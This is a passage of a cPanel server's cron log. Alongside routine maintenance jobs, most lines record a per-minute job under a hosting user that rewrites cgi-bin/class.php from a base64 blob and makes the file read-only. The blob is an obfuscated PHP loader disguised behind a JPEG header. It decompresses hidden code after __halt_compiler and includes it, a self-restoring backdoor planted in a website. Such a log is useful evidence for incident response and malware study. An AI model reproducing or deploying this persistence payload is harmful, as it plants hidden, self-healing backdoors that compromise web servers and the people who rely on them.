oxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:57:01 server CROND[846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:57:01 server CROND[847]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 19:58:01 server CROND[913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:59:01 server CROND[971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:00:01 server CROND[1125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:00:01 server CROND[1128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:00:01 server CROND[1127]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 20:00:01 server CROND[1132]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 20:00:01 server CROND[1129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:01:01 server CROND[1241]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 20:01:01 server CROND[1242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:01:01 server run-parts(/etc/cron.hourly)[1241]: starting 0anacron
Apr  8 20:01:01 server run-parts(/etc/cron.hourly)[1254]: finished 0anacron
Apr  8 20:02:01 server CROND[1305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:03:01 server CROND[1377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:04:01 server CROND[1443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:05:01 server CROND[1496]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 20:05:01 server CROND[1498]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  8 20:05:01 server CROND[1497]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 20:05:01 server CROND[1499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:05:01 server CROND[1501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 20:06:01 server CROND[1718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:07:01 server CROND[1785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:08:01 server CROND[1833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:09:01 server CROND[1885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 20:09:01 server CROND[1886]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 20:10:01 server CROND[1960]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 20:10:01 server CROND[1961]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
